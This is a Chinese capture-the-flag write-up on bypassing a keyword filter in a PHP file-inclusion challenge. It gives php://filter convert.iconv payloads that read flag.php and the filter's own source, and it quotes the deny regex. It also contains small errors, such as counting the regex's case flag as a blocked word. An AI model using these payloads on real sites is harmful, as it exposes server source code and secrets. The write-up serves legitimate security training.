攻防世界-file_include(绕过base64)
有简单过滤防护的文件包含
一、源码分析
易知$filename处可能会存在文件包含漏洞。但注意到include了一个./check.php文件,猜测可能有过滤。先不管,于是直接使用普通payload来测试一下?filename=php://filter/read=convert.base64-encode/resource=flag.php
果然有过滤防护,看来只能测试过滤情况了
二、过滤测试
使用?filename=1hp://1ilter/1ead=1onvert.1ase64-1ncode/1esource=1lag.1hp逐一测试,将要测试的字符串中的1改回去即可
代码情况?filename=php://filter/1ead=convert.1ase64-1ncode/resource=flag.php,显而易见此处read=convert.base64-encode不能使用
(1)首先对于read的处理可以直接省略: (201条消息) PHP伪协议_H0ne的博客-CSDN博客_php伪协议
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
两者在效果上区别不大,区别在于使用条件条件:读取需要开启 allow_url_fopen,不加不需要开启 allow_url_include;
(2)接着是对过滤器convert.base64-encode的处理:
这里由于convert还可以使用,所以选择使用其他的过滤器convert.iconv.* 绕过(php://filter中的各种过滤器)
使用方法:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>
##这里的<input-encoding>和<output-encoding>分别为输入的字符串编码方式和输出的字符串编码方式(字符集)。可选项如下(PHP: 支持的字符编码 ):
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac(别名:MacJapanese)
- SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
- SJIS-Mobile#KDDI(别名:SJIS-KDDI)
- SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
- UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
- UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
- ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
- JIS
- JIS-ms
- CP50220
- CP50220raw
- CP50221
- CP50222
- ISO-8859-1*
- ISO-8859-2*
- ISO-8859-3*
- ISO-8859-4*
- ISO-8859-5*
- ISO-8859-6*
- ISO-8859-7*
- ISO-8859-8*
- ISO-8859-9*
- ISO-8859-10*
- ISO-8859-13*
- ISO-8859-14*
- ISO-8859-15*
- ISO-8859-16*
- byte2be
- byte2le
- byte4be
- byte4le
- BASE64
- HTML-ENTITIES(别名:HTML)
- 7bit
- 8bit
- EUC-CN*
- CP936
- GB18030
- HZ
- EUC-TW*
- CP950
- BIG-5*
- EUC-KR*
- UHC(别名:CP949)
- ISO-2022-KR
- Windows-1251(别名:CP1251)
- Windows-1252(别名:CP1252)
- CP866(别名:IBM866)
- KOI8-R*
- KOI8-U*
- ArmSCII-8(别名:ArmSCII8)
使用payload ?filename=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php进行测试,发现对编码方式也有过滤
可以编写脚本或使用工具对编码方式进行爆破。
我自己写的蹩脚脚本可以得到输入字符编码可用UTF-8,输出字符编码可用UCS-2。此处就不放出脚本了。
同时我发现输入字符编码为空时也能得到结果。于是使用工具(Burpsuit)尝试:
1.将请求发送到Intruder模块进行爆破,首先设置爆破位置
2.设置爆破字典
3.根据返回包长度分析结果
当输入字符编码为空,输出字符编码为UTF-32、UCS-4、UCS-4LE、UTF-32LE、UTF-16、UCS-2、UCS-2LE、UTF-16LE时也可以得到结果。
综上可以构造payload为 ?filename=php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php
三、一点好奇
试着包含出./check.php文件的内容,使用?filename=php://filter/convert.iconv.UTF-8.UCS-2/resource=./check.php结果也能得到文件内容
源代码为�?php if($_GET["filename"]){ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; if (eval($preg_match_username)) { die("do not hack!"); } }
从这里可以显而易见的知道过滤情况【base、be(过滤字符编码)、encode、print、zlib、quoted、write、rot13、read、string、i】